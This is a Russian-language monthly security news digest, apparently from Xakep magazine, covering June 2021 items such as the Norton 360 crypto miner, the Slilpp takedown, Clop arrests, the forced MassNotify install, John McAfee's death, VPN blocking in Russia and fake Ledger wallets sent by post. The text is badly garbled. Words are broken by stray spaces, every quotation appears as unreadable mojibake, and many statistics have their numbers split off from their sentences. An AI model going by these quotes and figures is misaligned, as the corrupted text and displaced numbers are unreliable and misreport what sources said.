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В этом месяце: Джон Макафи был най ден мер твым в тюрем- 
ной камере, исходни ки интерне та выс тавили на аук цион
в фор мате NFT, влас ти арес товали раз работ чицу TrickBot
и подель ников Clop, в анти вирус Norton 360 встро или май- 
нер, Google переду мала сок ращать URL в стро ке адре са,
мошен ники рас сыла ют фаль шивые кошель ки Ledger по поч- 
те, а так же мно го дру гих инте рес ных новос тей.

АНТИВИРУС
С МАЙНЕРОМ
Раз работ чики ком пании NortonLifeLock (быв шая Symantec Corporation)
оснасти ли свой анти вирус Norton 360 май нером крип товалю ты Ethereum,
стре мясь защитить поль зовате лей от вре донос ных май неров. Новая фун кция
получи ла наз вание Norton Crypto и была внед рена в прог рамму для ран них
поль зовате лей Norton 360.

Ес ли Norton Crypto вклю чен, анти вирус будет исполь зовать виде окар ту
устрой ства для май нин га Ethereum, и добытая крип товалю та затем будет
перене сена в облачный кошелек Norton. В ком пании заяв ляют, что эта фун- 
кция поз волит поль зовате лям май нить Ethereum, не жер твуя сво ей безопас- 
ностью, ведь май нин говое ПО зачас тую про воци рует сра баты вание анти- 
виру сов и дру гих защит ных решений.

Не ясно, каж дое ли устрой ство с запущен ным Norton Crypto будет занимать ся
май нин гом самос тоятель но, или поль зовате ли будут объ еди нены в пул
для повыше ния шан сов на добычу бло ка. Если пул есть и им управля ет Norton,
ком пания смо жет взи мать неболь шую пла ту за добытый Ethereum, как это
при нято у опе рато ров пулов, а зна чит, новая фун кция ста нет для ком пании
допол нитель ным источни ком дохода.

«Ïîñ êîëü êó êðèï òîýêî íîìè êà ñòà íîâèò ñÿ âñå áîëåå âàæ íîé ÷àñòüþ

æèç íè íàøèõ êëè åíòîâ, ìû õîòèì äàòü èì âîç ìîæíîñòü ìàé íèòü êðèï- 

òîâàëþ òó ñ ïîìîùüþ Norton, áðåí äà, êîòîðî ìó îíè äîâåðÿ þò», —

çàÿâèë Âèí ñåíò Ïèëåòò, ãëà âà NortonLifeLock.

Тем вре менем СМИ отме тили, что часть поль зовате лей Norton 360, которые
решат вклю чить Norton Crypto, может ждать «сюр приз» от налого вой служ бы.
К при меру, в США добытая крип товалю та под лежит налого обло жению и ее
необ ходимо ука зывать в налого вых дек лараци ях.

 МОШЕННИЧЕСКИХ ЗВОНКОВ В ДЕНЬ3000–7000

Пред ста вите ли Сбер банка рас ска зали, что, по их под сче там, сот рудни ки типич ного мошен- 
ничес кого кол-цен тра совер шают  звон ков в сут ки, а за месяц такая орга низа ция
может зарабо тать око ло  дол ларов.

3000–7000
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Зар пла та сот рудни ка такого кол-цен тра в неделю сос тавля ет от  до  дол ларов, а в
одной сме не работа ет око ло  человек. При этом в полови не слу чаев доз вонить ся мошен-
никам не уда ется, и сра баты вает при мер но  звон ков.
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SLILPP
ЛИКВИДИРОВАН
Сов мес тны ми уси лиями пра воох ранитель ных орга нов США, Гер мании,
Нидер ландов и Румынии был лик видиро ван мар кет плейс Slilpp, где прес- 
тупные груп пы мно го лет обме нива лись и тор говали ворован ными учет ными
дан ными.

С 2012 года Slilpp работал на нес коль ких доменах, как в дар кне те, так и в
обще дос тупном интерне те. На сай те кто угод но мог зарегис три ровать учет- 
ную запись, а затем начать тор говать взло ман ными учет ными запися ми.

По информа ции Минюс та США, за девяти лет нюю исто рию Slilpp на сай те
было про дано более 80 мил лионов учет ных дан ных, при над лежав ших более
чем 1400 ком паний. Так, на сай те тор говали акка унта ми PayPal, Wells Fargo,
SunTrust, Amazon, Verizon Wireless, Xnity, Walmart, а так же кре дит ными кар тами
раз личных бан ков.

«Slilpp — ýòî êðóï íåé øèé ðûíîê âçëî ìàí íûõ ó÷åò íûõ çàïèñåé, êîã-

äà‑ëèáî ñóùåñ òâî âàâ øèé â êðè ìèíàëü íîì ïîä ïîëüå. Òîð ãîâàÿ ïëî- 

ùàä êà áûëà îòâåòñ òâåí íà çà êðóï íûå ïîòîêè ñêîì ïðî ìåòè ðîâàí íûõ

äàí íûõ, êîòîðûå ïðè íîñè ëè àäìè íèñ òðà òîðàì ìèë ëèîíû äîë ëàðîâ

íåçàêîí íîé ïðè áûëè», — çàÿâèë ãëà âà êîì ïàíèè Advanced Intelligence

Âèòàëèé Êðå ìåç.

Сле дова тели сооб щили, что убыт ки, нанесен ные потер певшим, пре выша- 
ют 200 мил лионов дол ларов толь ко в Соеди нен ных Шта тах, а общий ущерб
от работы этой тор говой пло щад ки еще толь ко пред сто ит под счи тать.

ФБР обна ружи ло и кон фиско вало сер веры и домен ные име на, на которых
раз мещалась инфраструк тура Slilpp. Сооб щает ся, что более десяти человек,
свя зан ных с тор говой пло щад кой, были арес тованы и обви нены, но никаких
под робнос тей об этих задер жани ях пока нет.

ПЕРВОЕ ИНТЕРВЬЮ УЛЬБРИХТА
Росс Уль брихт, быв ший вла делец Silk Road, одно го из самых извес тных под поль ных мар кет- 
плей сов в исто рии, с 2015 года отбы вает пожиз ненное зак лючение в аме рикан ской тюрь ме.
В этом месяце Уль брихт дал свое пер вое с 2013 года интервью, пооб щавшись по телефо ну
с жур налис тами Bitcoin Magazine. В основном раз говор зат рагивал крип товалю ты, за раз вити- 
ем которых Уль брихт наб люда ет из тюрь мы, но так же беседа кос нулась и Silk Road.

→ «Я думал, что с помощью бит кой на смо гу поп робовать и сде лать что-то, что дей стви тель но
изме нит мир. Но тог да я был нетер пелив. Я пог нался за сво ей пер вой иде ей, которой был Silk
Road… 26-лет ний парень, который дума ет, что он дол жен спас ти мир, пока кто-нибудь его
не опе редил. Я понятия не имел, что Silk Road сра бота ет, но теперь мы все зна ем, что он при- 
жил ся. И его исполь зовали для про дажи нар котиков, а теперь я в тюрь ме.

Иро ния ситу ации в том, что я соз дал Silk Road, потому что думал, что таким обра зом прод- 
вигаю небез различ ные мне вещи: сво боду, кон фиден циаль ность, равенс тво. Одна ко, соз дав
Silk Road, я ока зал ся в мес те, где все го это го не сущес тву ет»
— из интервью Уль брих та

АРЕСТЫ, СВЯЗАННЫЕ
С CLOP
В середи не июня 2021 года в резуль тате сов мес тной опе рации, про веден ной
при содей ствии и коор динации Интерпо ла пра воох ранитель ными орга нами
США, Укра ины и Южной Кореи, были задер жаны шес теро подоз рева емых,
каким-то обра зом свя зан ных с шиф роваль щиком Clop. К сожале нию,
это мало пов лияло на «работу» груп пиров ки.

Ук раин ские полицей ские сооб щали, что про вели 21 обыск в сто лице стра- 
ны и Киев ской области, в домах фигуран тов и в их авто моби лях. В резуль тате
были изъ яты: компь ютер ная тех ника, машины (Tesla, Mercedes и Lexus) и око- 
ло 5 мил лионов гри вен налич ными (при мер но 13 400 000 руб лей), которые,
по мне нию влас тей, были получе ны от жертв в качес тве выкупов. На иму щес- 
тво подоз рева емых наложи ли арест.

Ис точни ки, близ кие к рас сле дова нию, сооб щили СМИ, что южно корей ская
полиция начала рас сле дова ние в отно шении хакеров в прош лом году, пос ле
того как груп пиров ка ата кова ла сеть южно корей ско го e-commerce-гиган та E-
Land в нояб ре 2020 года. Из-за этой ата ки корей ская ком пания зак рыла поч ти
все свои магази ны.

При этом, по информа ции ИБ-ком пании Intel 471, укра инские влас ти арес- 
товали людей, которые были при час тны толь ко к отмы ванию денег для опе- 
рато ров Clop, тог да как основные чле ны хак-груп пы, ско рее все го, находят ся
в Рос сии.

«Ðåé äû ïðà âîîõ ðàíèòåëü íûõ îðãà íîâ â Óêðà èíå, ñâÿ çàí íûå ñ ïðîã- 

ðàììîé‑âûìîãà òåëåì CLOP, ñâÿ çàíû ëèøü ñ âûâîäîì/îòìû âàíè åì

äåíåã äëÿ „áèç íåñà“ CLOP. Ìû íå ñ÷è òàåì, ÷òî êòî‑òî èç îñíîâíûõ

ó÷àñ òíè êîâ CLOP çàäåð æàí, è ïîëàãà åì, ÷òî îíè, âåðî ÿòíî, æèâóò

â Ðîñ ñèè, — ñîîá ùàëè ýêñïåð òû. — Ìû îæè äàåì, ÷òî âëè ÿíèå [ýòîé

îïå ðàöèè íà ðàáîòó] CLOP áóäåò íåç íà÷èòåëü íûì, õîòÿ âíè ìàíèå ïðà- 

âîîõ ðàíèòåëü íûõ îðãà íîâ ìîæåò ïðè âåñ òè ê òîìó, ÷òî [õàêåðû] îòêà- 

æóò ñÿ îò áðåí äà CLOP, ÷òî ìû íåäàâ íî íàá ëþäàëè â ñëó ÷àå ñ äðó ãèìè

âûìîãà òåëü ñêè ìè ãðóï ïàìè, òàêèìè êàê DarkSide è Babuk».

Крип товалют ная бир жа Binance сооб щила, что при нима ла учас тие в опе рации
пра воох раните лей и помог ла иден тифици ровать прес тупни ков.

Пред ста вите ли бир жи рас ска зали, что отсле жива ли груп пиров ку
FANCYCAT, которая занима ется раз личной кри миналь ной деятель ностью,
вклю чая управле ние «высоко рис ковым» крип товалют ным обменни ком. Эта
груп па отмы вала день ги для таких вымога телей, как Clop и Petya, и в целом
ответс твен на за ущерб на сум му более 500 мил лионов дол ларов, свя зан ный
с шиф роваль щиками, а так же отмы ла мил лионы дол ларов для дру гих хакеров.

Binance утвер жда ет, что обна ружи ла FANCYCAT сов мес тно с фир мами TRM
Labs и Crystal (BitFury), занима ющи мися блок чейн-ана лизом, а затем переда- 
ла всю соб ранную информа цию пра воох ранитель ным орга нам, что и при вело
к арес ту груп пы в начале месяца.

Хо тя пос ле арес тов «работа» Clop была при оста нов лена при мер но
на неделю, в ито ге вымога тели вновь акти визи рова лись и в кон це месяца
опуб ликова ли на сво ем сай те в дар кне те дан ные о двух новых жер твах.

ДОСТУПЫ НА ПРОДАЖУ
Эк спер ты Positive Technologies про ана лизи рова ли, как раз вивал ся рынок дос тупов в 2020 году
и начале 2021 года, и обна ружи ли, что за это вре мя количес тво объ явле ний о про даже дос- 
тупов уве личи лось более чем в семь раз.

Толь ко в пер вом квар тале 2021 года было обна руже но  новых объ явле ний о про даже дос- 
тупа, а это  от чис ла всех пред ложений в 2020 году.

590
83%

По срав нению с пер вым квар талом 2020 года, в пер вом квар тале 2021 года количес тво поль- 
зовате лей, раз меща ющих объ явле ния о про даже/покуп ке дос тупов, а так же о поис ках напар- 
ников, уве личи лось .в 3 раза

Ко личес тво объ явле ний

В сред нем ежек варталь но про дают ся дос тупы в кор поратив ные сети орга низа ций на сум му
око ло  дол ларов США. При этом доля «дорогих» дос тупов (сто имостью более 
дол ларов США) сок ратилась . Это может быть следс тви ем активно го учас тия зло- 
умыш ленни ков-нович ков.

600 000 5000
в  2  раза

Об щая сто имость дос тупов, про дава емых на хакер ских форумах

Ча ще все го зло умыш ленни ки выс тавля ли на про дажу дос тупы к ком пани ям из сфе ры услуг
( ), про мыш леннос ти ( ), а так же учрежде ниям науки и обра зова ния ( ).17% 14% 12%

ПРИНУДИТЕЛЬНЫЙ
COVID-ТРЕКЕР
Поль зовате ли Android обна ружи ли, что на их устрой ствах без пре дуп режде- 
ния появи лось при ложе ние MassNotify, которое исполь зует ся для отсле жива- 
ния рас простра нения COVID-19 в Мас сачусет се. При этом люди не име ли
воз можнос ти открыть при ложе ние или най ти его в катало ге Google Play Store.

INFO

При ложе ние MassNotify исполь зует ся для отсле- 
жива ния кон тактов с людь ми, заражен ными
COVID-19, что поз воля ет поль зовате лям, вклю- 
чив шим фун кцию уве дом лений в Android,
получать пре дуп режде ния о воз можном зараже- 
нии вирусом. Поль зовате ли могут выб рать стра ну
и штат, отку да хотят получать уве дом ления, и на
устрой стве будет уста нов лено при ложе ние соот- 
ветс тву юще го реги она.

Один из поль зовате лей в отзы вах о при ложе нии в Google Play Store поделил- 
ся опы том:

«Ïðè ëîæå íèå áûëî òèõî óñòà íîâ ëåíî íà òåëåôîí ìîåé äî÷åðè

áåç ñîã ëàñèÿ èëè óâå äîì ëåíèÿ. Îíà íå ìîã ëà óñòà íîâèòü åãî ñàìà, òàê

êàê ìû ïîëü çóåì ñÿ Family Link è âñå óñòà íîâ êè ïðè ëîæå íèé äîë æíû

îäîá ðÿòü ñÿ. ß ïîíÿòèÿ íå èìåþ, êàê îíè ýòî ñäå ëàëè, íî ýòî äîë æíî

áûëî áûòü ñâÿ çàíî ñ Google, èëè Samsung, èëè ñ íèìè îáî èìè»

Еще один поль зователь заявил:

«Îáû÷ íûå ïðè ëîæå íèÿ íå ìîãóò ïðîñ òî âçÿòü è óñòà íîâèòü ñàìè ñåáÿ.

ß íå óâå ðåí, ÷òî çäåñü ïðî èñõî äèò, íî ýòî òî÷ íî íåëü çÿ ñ÷è òàòü „äîá- 

ðîâîëü íûì“. Íàì íóæ íà èíôîðìà öèÿ, íàðîä, è îíà íóæ íà íàì ñåé ÷àñ»

Один из читате лей YCombinator Hacker News свя зал ся со служ бой под дер жки
MassNotify, и ему отве тили, что появ ление при ложе ния MassNotify в спис ке
при ложе ний озна чает, что оно уста нов лено на устрой стве, одна ко при этом
оно не обя затель но активно.

«Ïîÿâ ëåíèå MassNotify â ñïèñ êå ïðè ëîæå íèé íå îçíà ÷àåò, ÷òî

MassNotify âêëþ ÷åí íà âàøåì òåëåôî íå. Íàëè÷èå ïðè ëîæå íèÿ ïðîñ òî

îçíà ÷àåò, ÷òî MassNotify ñòàë äîñ òóïåí â êà÷åñ òâå îïöèè â íàñ òðîé êàõ

âàøåãî òåëåôî íà, åñëè âû õîòèòå åãî âêëþ ÷èòü. Äëÿ ïîëó÷å íèÿ äîïîë- 

íèòåëü íîé èíôîðìà öèè ÷èòàé òå .ñòàòüþ ñïðà âî÷ íîãî öåí òðà Google

Âû ìîæåòå óçíàòü, àêòè âåí ëè MassNotify, ïåðåé äÿ â Settings →
Google → COVID-19 Exposure Notifications. Ïåðåê ëþ÷àòåëü „Èñïîëü- 

çîâàòü óâå äîì ëåíèÿ“ â âåð õíåé ÷àñ òè ñòðà íèöû ïîêàæåò âàì, àêòè âåí

MassNotify èëè íåò. Íà ýòîì ýêðà íå âû òàê æå ìîæåòå âêëþ ÷èòü

èëè îòêëþ ÷èòü MassNotify â ëþáîå âðå ìÿ», — ñîîá ùèëè ðàç ðàáîò ÷èêè.

Мно гие поль зовате ли отме чали, что не могут най ти никаких ико нок и сле дов
при ложе ния, оно не обна ружи вает ся в Google Play Store при зап росе
MassNotify, а потому его не получа ется уда лить при нуди тель но. Вмес то это го
людям при ходит ся исполь зовать для уда ления  MassNotify
в Google Play Store, где при ложе ние исполь зует имя Exposure Notications
Settings Feature — MA.

пря мой URL-адрес

Ин терес но, что в Google Play Store мож но най ти две вер сии MassNotify.
Похоже, одна из них не рас простра нялась авто мати чес ки, она име ла
менее 1000 уста новок и рей тинг 4,1 звез ды. Вто рая вер сия, отме чен ная
как v3, уто пает в негатив ных отзы вах (одна звез да в нас тоящее вре мя),
и поль зовате ли пишут, что при ложе ние было авто мати чес ки уста нов лено
на их устрой ства, а некото рые даже подоз рева ют, что это мал варь.

Продолжение статьи →

mailto:nefedova@glc.ru
https://support.google.com/android/answer/10775533
https://play.google.com/store/apps/details?id=gov.ma.covid19.exposurenotifications.v3&showAllReviews=true
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Вско ре на эту проб лему обра тили вни мание СМИ и поп росили Google про- 
ком менти ровать ситу ацию. Вот что пред ста вите ли ком пании отве тили жур- 
налис там:

«Ìû ðàáîòà åì ñ Ìèíèñ òåðñ òâîì çäðà âîîõ ðàíåíèÿ Ìàñ ñà÷óñåò ñà, ÷òî- 

áû ïîç âîëèòü ïîëü çîâàòå ëÿì àêòè âèðî âàòü ñèñ òåìó óâå äîì ëåíèé

î âîç ìîæíîì çàðàæå íèè ïðÿ ìî â íàñ òðîé êàõ ñâî åãî Android-òåëåôî íà.

Ýòà ôóí êöèÿ âñòðî åíà â íàñ òðîé êè óñòðîé ñòâà è àâòî ìàòè ÷åñ êè ðàñ- 

ïðîñòðà íÿåò ñÿ ÷åðåç Google Play Store, ïîýòî ìó ïîëü çîâàòå ëÿì

íå íóæ íî çàã ðóæàòü îòäåëü íîå ïðè ëîæå íèå.

Óâå äîì ëåíèÿ î çàðàæå íèè COVID-19 âêëþ ÷àþò ñÿ òîëü êî â òîì ñëó- 

÷àå, åñëè ïîëü çîâàòåëü çàðàíåå èõ àêòè âèðî âàë. Ïîëü çîâàòå ëè ñàìîñ- 

òîÿòåëü íî ðåøà þò, àêòè âèðî âàòü ëè ýòó ôóí êöèþ è ïåðåäà âàòü ëè

èíôîðìà öèþ ÷åðåç ñèñ òåìó, ÷òî áû ïðå äóï ðåäèòü äðó ãèõ î âîç ìîæíîì

ðèñ êå [çàðàæå íèÿ]».

 ЗА STACK OVERFLOW1 800 000 000

Stack Overow, извес тней ший сайт воп росов и отве тов о прог рамми рова нии, чья еже месяч ная
ауди тория пре выша ет  человек, был про дан круп ной инвести цион ной ком пании
Prosus. Сум ма сдел ки сос тавила .

100 000 000
1,8 мил лиар да дол ларов

Prosus — дочер няя ком пания южно афри кан ской меди агруппы Naspers, а так же круп ней шая
евро пей ская интернет-ком пания. К при меру, Naspers вла деет  Mail.ru Group, а так же име- 
ет в сво ем акти ве рос сий ский сер вис объ явле ний «Ави то».

28%

По куп ка Stack Overow ста ла для Prosus пер вым пря мым при обре тени ем и круп ней шим на дан- 
ный момент пог лощени ем. Пока неиз вес тно, как про дажа отра зит ся на работе Stack Overow
и изме нит ся ли сайт.

ДЖОН МАКАФИ
НАЙДЕН МЕРТВЫМ
23 июня 2021 года Джон Макафи был най ден мер твым в сво ей тюрем ной
камере. Осно ватель ком пании McAfee, один из пионе ров в сфе ре анти вирус- 
ного ПО, а в пос ледние годы извес тный крип товалют ный энту зиаст, Макафи
был арес тован в Испа нии осенью 2020 года за укло нение от упла ты налогов
и наруше ние закона о цен ных бумагах.

Сог ласно обви нитель ному зак лючению Минис терс тва юсти ции США,
Макафи не упла тил налоги на средс тва, которые зарабо тал в пери од
с 2014 по 2018 год. Так же аме рикан ское пра витель ство заяв ляло, что
Макафи дав но укло нял ся от встреч с налого выми инспек торами и пытал ся
скрыть свои акти вы, вклю чая нед вижимость и яхту (как пра вило, переда вая
пра ва собс твен ности дру гим людям).

Вес ной 2021 года аме рикан ские влас ти выд винули про тив Макафи ряд
новых обви нений, свя зан ных с его активностью в Twitter. Дело в том, что,
по дан ным влас тей, он зарабо тал мил лионы дол ларов на сво их мно гочис- 
ленных под писчи ках, рек ламируя крип товалю ты (и тоже не упла тил с это го
никаких налогов). Кро ме того, отме чалось, что в пос ледние годы Макафи
регуляр но получал гонора ры за выс тупле ния и кон суль тации, а так же зарабо- 
тал на про даже прав на экра низа цию исто рии сво ей жиз ни.

К при меру, по сло вам сле дова телей, мошен ничес тво и отмы вание денег
при нес ли Макафи более 13 мил лионов дол ларов США. Так же в судеб ных
докумен тах фигури ровал и Джим ми Гейл Уот сон — млад ший (Jimmy Gale
Watson Jr.), который в пос ледние годы отве чал за лич ную безопас ность
Макафи, а так же вхо дил в его «крип товалют ную коман ду».

Офи циаль ные лица утвер жда ли, что Макафи ута ивал информа цию о плат- 
ных рекомен даци ях, которые он регуляр но давал в Twitter, делая лож ные заяв- 
ления на немалую ауди торию сво их под писчи ков. Так, в 2017–2018 годах
Джон Макафи неод нократ но прод вигал в сво ем Twitter крип товалют ные ICO.
По сути это была лишь плат ная рек лама, о чем Макафи умал чивал и даже
активно отри цал этот факт, хотя под писчи ки регуляр но спра шива ли его
об этом. В ито ге Макафи и его пар тне ры зарабо тали более 11 мил лионов
дол ларов на такой «рек ламе», утвер жда ло Минис терс тво юсти ции США.

Все это вре мя Макафи находил ся под стра жей в Испа нии, ожи дая
решения об экс тра диции, и толь ко по «весен ним» обви нени ям ему гро зило
до 30 лет лишения сво боды. Так как Макафи было уже 75 лет, весь оста ток
жиз ни ему пред сто яло про вес ти в тюрь ме.

Ве чером 23 июня 2021 года в испан ских СМИ появи лись мно гочис ленные
сооб щения о том, что Джон Макафи был най ден мер твым в сво ей тюрем ной
камере. Эту информа цию в ито ге под твер дили в Минис терс тве юсти ции
Катало нии, а так же адво каты Макафи.

По дан ным СМИ, Макафи покон чил с собой и «его наш ли повешен ным
в камере». Так же сто ит отме тить, что за нес коль ко часов до это го суд одоб- 
рил его экс тра дицию в США.

Те перь мно гие пишут, что Макафи не мог покон чить с собой. На про тяже- 
нии мно гих лет Макафи заяв лял, что пра витель ство США хочет его убить, и не
раз писал в Twitter, что, если его смерть будет пре под носить ся как суицид,
это му не сле дует верить. В 2019 году он даже пос вятил это му одну из сво их
тату иро вок.

Бо лее недав ний твит, уже написан ный из тюрь мы, и вов се гла сил: «Знай те,
если я повешусь а-ля Эпштейн, в этом не будет моей вины».

WWW

Тем, кто захочет вспом нить более под робную
биог рафию Джо на Макафи, в которой было все,
от соз дания одной из пер вых анти вирус ных ком- 
паний до обви нения в убий стве соседа в Белизе,
рекомен дуем .от дель ную статью

APPLE ПРОТИВ СТОРОННИХ ПРИЛОЖЕНИЙ
В 2021 году Евро комис сия пред ложила при нять два закона для регули рова ния работы круп ных
IT-ком паний: о регули рова нии циф ровых рын ков (Digital Markets Act) и циф ровых сер висов
(Digital Services Act). Идея влас тей сос тоит в том, что бы сде лать плат формы более откры тыми
для сто рон них раз работ чиков, а так же внес ти боль ше упо рядо чен ности на рынок онлайн-рек- 
ламы.

DMA остро не пон равил ся ком пании Apple, которую, по сути, могут вынудить раз решить
заг рузку сто рон них при ложе ний на iPhone (в обход цен тра лизо ван ного App Store). Пред ста- 
вите ли Apple изло жили свои аргу мен ты про тив этой ини циати вы в 16-стра нич ном докумен те:

→ «Раз решение заг рузки сто рон них при ложе ний сни зит безопас ность плат формы iOS и под- 
вер гнет поль зовате лей серь езным рис кам не толь ко в сто рон них магази нах при ложе ний, но и
в App Store», — заяв ляют в Apple.

В свою оче редь, гла ва Apple Тим Кук сооб щил жур налис там CNBC сле дующее:

→ «Если вам нужен при мер того, почему я не счи таю, что это дела ется в наилуч ших инте ресах,
то текущие фор мулиров ки DMA, о которых мы говорим, вынудят [Apple раз решить] заг рузку
сто рон них при ложе ний на iPhone. Хотя это было бы аль тер натив ным спо собом заг рузки при- 
ложе ний на iPhone, по нашему мне нию, это унич тожило бы безопас ность iPhone».

БЛОКИРОВКА
VYPRVPN
И OPERA VPN
17 июня 2021 года на сай те Рос комнад зора появи лось сооб щение о бло- 
киров ке VyprVPN и Opera VPN «в соот ветс твии с рег ламен том реаги рова ния
на угро зы обхо да огра ниче ний дос тупа к дет ской пор ногра фии, суици даль- 
ному, про нар котичес кому и ино му зап рещен ному кон тенту».

«Äàí íûå VPN-ñåð âèñû îòíå ñåíû ê óãðî çàì â ñîîò âåòñ òâèè ñ Ïîñ òàíîâ- 

ëåíè åì Ïðà âèòåëü ñòâà ÐÔ îò 12 ôåâ ðàëÿ № 127.

Ог раниче ния не зат ронут рос сий ские ком пании, исполь зующие VPN-сер висы
в неп рерыв ных тех нологи чес ких про цес сах. В «белые спис ки» вклю чены
более 200 тех нологи чес ких про цес сов 130 рос сий ских ком паний. В соот ветс- 
твии с рег ламен том, ком пании были про информи рова ны о воз можнос ти
вклю чения в «белые спис ки» 14 мая 2021 года, сооб щают пред ста вите ли
ведомс тва.

Су дя по все му, Рос комнад зор опи рает ся на закон, который всту пил в силу
в 2017 году. Он обя зыва ет ано нимай зеры и VPN-сер висы филь тро вать тра- 
фик и не допус кать поль зовате лей к заб локиро ван ным в РФ сай там. Спи сок
зап рещен ных ресур сов содер жится в федераль ной госин фор мсис теме
(ФГИС). В 2019 году ведомс тво уже  вла дель цам сер висов Hide
My Ass!, NordVPN, Hola VPN, VyprVPN, OpenVPN, ExpressVPN, IPVanish,
TorGuard, VPN Unlimited и Kaspersky Secure Connection тре бова ние о необ- 
ходимос ти под клю чения к ФГИС.

нап равля ло

Жур налис ты Рос ком сво боды отме чали, что речь в сооб щении регуля тора
так же может идти о прош логод нем пос танов лении каб мина, в котором к угро- 
зам безопас ности фун кци они рова ния сети «Интернет» и сети свя зи обще го
поль зования на тер ритории Рос сии, помимо про чего, были отне сены «угро зы
пре дос тавле ния дос тупа к информа ции или информа цион ным ресур сам
в сети „Интернет“, дос туп к которым под лежит огра ниче нию в свя зи с законо- 
датель ством Рос сий ской Федера ции».

Меж ду тем раз работ чики бра узе ра Opera, в который интегри рован Opera
VPN, уже сооб щили, что при оста нови ли под дер жку VPN-сер висов на тер- 
ритории Рос сии.

«Êîì ïàíèÿ Opera ñòðå ìèò ñÿ ïðå äîñ òàâèòü ñâî èì ðîñ ñèé ñêèì ïîëü- 

çîâàòå ëÿì ïðå âîñ õîäíûé îïûò èñïîëü çîâàíèÿ áðà óçå ðîâ. Ìû ðåøèëè

ïðè îñòà íîâèòü ïîä äåð æêó ñåð âèñîâ VPN â íàøèõ áðà óçå ðàõ íà òåð-

ðèòîðèè ÐÔ â òîé ôîð ìå, â êîòîðîé îíà îêà çûâà ëàñü ðàíåå», — ïðî- 

êîì ìåíòè ðîâà ëà ñòàð øèé ìåíåä æåð ïî ñâÿ çÿì ñ îáùåñ òâåí íîñòüþ

êîì ïàíèè Opera Þëèÿ Ñèí äçå ëîðö.

ФИШИНГОВЫЙ АНТИРЕКОРД
Ин терес ный док лад пред ста вила отрасле вая коали ция по борь бе с фишин гом — APWG,
в которую вхо дят более 2200 орга низа ций из сек тора безопас ности, пра витель ства, пра воох- 
ранитель ные орга ны и неп равитель ствен ные орга низа ции, а так же извес тные ком пании, вклю- 
чая Microsoft, Facebook, PayPal, ICANN, AT&T, Cloudare, Cisco, Salesforce, RSA, Verisign, ESET,
McAfee, Avast, Symantec, Trend Micro. По дан ным APWG, количес тво активных фишин говых сай- 
тов дос тигло рекор да в янва ре 2021 года.

В янва ре 2021 года был обна ружен  фишин говый сайт, и это худ ший резуль тат за всю
исто рию наб людений.

245 771

Хо тя в фев рале количес тво фишин говых сай тов сни зилось, в мар те оно сно ва пре выси ло
, а это дела ет март чет вертым худ шим месяцем за всю исто рию отче тов APWG.200 000

Боль ше все го таких атак приш лось на  (поч ти  всех попыток
фишин га). Далее сле дуют  и .

фи нан совый сек тор чет верть
со циаль ные сети SAAS

 фишин говых сай тов, замечен ных в пер вом квар тале 2020 года, исполь зовали HTTP-
соеди нения.
83%

ФАЛЬШИВЫЕ
LEDGER
По хоже, раз бра сыва ние фле шек на пар ковках уже уста рело — теперь прес- 
тупни ки сра зу при сыла ют вре донос ные гад жеты по поч те.

В середи не месяца жур налис ты Bleeping Computer пре дуп редили, что
поль зовате ли получа ют по поч те фаль шивые крип товалют ные кошель ки
Ledger, которые зло умыш ленни ки при сыла ют жер твам от лица ком пании, яко- 
бы для замены ста рых устрой ств «в целях безопас ности».

Фо тог рафи ями одной из таких под делок, фаль шивым Ledger Nano X, один
из пос тра дав ших поделил ся на Reddit. Устрой ство приш ло в брен дирован ной
упа ков ке и соп ровож далось пло хо написан ным пись мом, гла сящим, что
устрой ство отправ лено поль зовате лю для замены текуще го кошель ка,
который более не безопа сен, так как информа ция о кли ентах ком пании утек ла
в сеть и была опуб ликова на на хакер ском форуме RaidForum.

«Â öåëÿõ áåçîïàñ íîñòè ìû îòïðà âèëè âàì íîâîå óñòðîé ñòâî,

íà êîòîðîå âû äîë æíû ïåðåé òè, ÷òî áû îñòà âàòü ñÿ â áåçîïàñ íîñòè.

Â êîðîá êå åñòü ðóêîâîäñ òâî, êîòîðîå âû ìîæåòå ïðî ÷èòàòü, ÷òî áû

óçíàòü, êàê íàñ òðî èòü íîâîå óñòðîé ñòâî», — ãëà ñèëî ïîñ ëàíèå ìîøåí- 

íèêîâ.

Хо тя пись мо написа но с ошиб ками и, воз можно, англий ский язык не явля ется
род ным для его авто ра, утеч ка дан ных, на которую ссы лают ся мошен ники,
дей стви тель но име ла мес то. В декаб ре 2020 года дан ные 272 853 человек,
при обре тав ших устрой ства Ledger, дей стви тель но  на RaidForums.по яви лись

Са ма утеч ка про изош ла еще летом 2020 года, ког да пос торон ний получил
дос туп к мар кетин говой базе ком пании. Извес тно, что ском про мети рован ная
база дан ных исполь зовалась для отправ ки под твержде ний заказов и рек- 
ламных писем и в основном сос тояла из email-адре сов, но так же вклю чала
кон так тные дан ные и све дения о заказах, в том чис ле име на и фамилии, поч- 
товые адре са, адре са элек трон ной поч ты и номера телефо нов.

Так как получив ший фаль шив ку поль зователь заподоз рил под вох, он
разоб рал прис ланный Ledger Nano X и опуб ликовал фотог рафии стран ного
устрой ства на Reddit. В срав нении с нас тоящим кошель ком вид но, что
мошен ничес кая вер сия была модифи циро вана.

ИБ-эксперт Майк Гро вер, так же извес тный под ником , сооб щил жур- 
налис там, что зло умыш ленни ки явно добави ли к кошель ку флеш ку и под клю- 
чили ее к USB:

_MG_

«Ïîõîæå, ýòî ïðîñ òî ôëåø êà, ïðèê ðåïëåí íàÿ ê Ledger ñ öåëüþ äîñ- 

òàâêè êàêîãî‑òî âðå äîíîñ íîãî ÏÎ. Âñå êîì ïîíåí òû íàõîäÿò ñÿ íà äðó- 

ãîé ñòî ðîíå, ïîýòî ìó ÿ íå ìîãó ïîä òâåð äèòü, ÷òî òóäà âñòðî åíî ÒÎËÜ- 

ÊÎ çàïîìè íàþùåå óñòðîé ñòâî, íî... Ñóäÿ ïî ïàé êå, êîòîðàÿ âûäà åò

íîâè÷ êà, ñêî ðåå âñå ãî, ýòî ëèøü ãîòîâàÿ ìèíè‑ôëåø êà áåç êîð ïóñà».

Как мож но заметить выше, для наг ляднос ти Гро вер выделил на фото имплант,
под клю чен ный к USB, крас ным цве том.

В руководс тве к фаль шивому устрой ству жер тве пред лагали под клю чить
такой девайс к компь юте ру, открыть появив ший ся диск и запус тить при ложе- 
ние, которое шло в ком плек те. Затем человек дол жен был ввес ти фра зу вос- 
ста нов ления Ledger, что бы импорти ровать кошелек на новое устрой ство.

Продолжение статьи →

https://xakep.ru/2021/06/24/mcafee-story/
https://xakep.ru/2019/03/29/vpn-rkn/
https://xakep.ru/2020/12/21/ledger-leak/
